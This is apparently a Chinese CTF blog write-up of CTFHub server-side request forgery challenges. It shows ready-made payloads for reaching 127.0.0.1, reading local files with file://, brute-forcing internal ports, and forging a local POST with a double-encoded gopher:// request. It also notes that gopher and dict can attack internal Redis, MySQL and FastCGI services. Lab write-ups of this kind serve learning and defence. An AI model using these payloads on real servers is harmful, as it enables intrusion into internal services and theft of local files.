CTFHUB WEB ssfr漏洞(上)

内网访问

打开题目 没发现什么信息 既然说是内网访问 就直接访问一下看看

?url=http://127.0.0.1/flag.php

拿到flag ctfhub{dda42b59520454e9be473b7f}

伪协议读取文件

 既然说是伪协议读取

file:// 协议

作用:用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议

作用:探测内网主机存活

dict协议

作用:泄露安装软件版本信息,查看端口,操作内网redis服务等

Gopher协议

作用:Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

 web常用本地网址 var/www/html/

所以构造payload:/?url=file:///var/www/html/flag.php

 

在源代码里找到flag    ctfhub{45e4051ecf28bd34dba0376d}

端口扫描

给的提示

这时候就需要用我们万能的bp爆破了

抓包 把他发送到爆破板块 

爆破到端口是8770

登录 找到flag ctfhub{dcb44b70e12cda5cd216cd9c}

POST请求

看提示说是用php的curl实现的 会302跳转

302跳转的302是http状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

 先用dirsearch扫描一下

 扫描到的flag.php有显示 f12看源码 这里有个key key=ff40207373f308be939c12380ff89f66

 用file协议查看一下源码

file://var/www/html/index.php

file://var/www/html/flag.php

 flag.php希望我们用127.0.0.1这个ip地址来上传key值

($_SERVER["REMOTE_ADDR"] != 这个函数会获取我们的ip地址

在index.php中 是用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s

那么我们可以通过gopher协议,向flag.php传一个post报文,报文里面包含有key,大概内容为

url=gopher://127.0.0.1:80/_POST报文内容

这样我们就可以通过伪造127.0.0.1的ip来上传key

首先先来构造POST

POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Length: 36

Content-Type: application/x-www-form-urlencoded

key=ff40207373f308be939c12380ff89f66

这里我们报文内容显示在url上输入,被解码后保存到curl里面,再通过curl输出跳转,又解码了一次,所以我们要对POST报文内容进行两次url编码

在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中中代表换行符,在windos中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的

构造的payload:?url=127.0.0.1/?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Dff40207373f308be939c12380ff89f66

用bp抓包 得到flag

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值